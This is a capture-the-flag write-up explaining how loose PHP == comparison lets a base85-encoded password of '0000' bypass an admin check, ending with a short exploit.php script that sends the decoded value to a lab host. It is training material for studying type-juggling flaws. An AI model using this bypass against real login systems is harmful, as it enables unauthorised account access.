
In this case, we are given the source code for the webpage.
- The title indicates that type juggling will be required here.
- We are given the fact that the encoded value of the Admin password starts with 0P)s

The == in PHP is less strict than if === were used.
- Rather than explain the concept here, I’ll refer you to this great video by IPPSEC.
By base85 decoding the fragment given 0P)s using CyberChef, we get this:

This is a classic Juggling challenge:
- If 0 is raised to any power, it will be zero.
- So, we need to find a password that encodes to zero using base85 to satisfy the check.
What’s the easiest way to accomplish this?
- The password we need should encode to a value that is something like ‘0000’
- We’ll need to decode 0000 and send that to the server so it will be encoded back to 0000 before the if check.
It would make sense to use the same encoding library used by the application.

wget the .php file as seen below
https://raw.githubusercontent.com/scottchiefbaker/php-base85/refs/heads/master/base85.class.php

exploit.php.php
<?php
include "./base85.class.php";
$encoded_string = "0000";
$decoded_string = base85::decode($encoded_string);
$url = "http://ctf.local:9000/85/index.php?password=" . urlencode($decoded_string);
$response = file_get_contents($url);
echo "Response from server:\n";
echo $response;
?>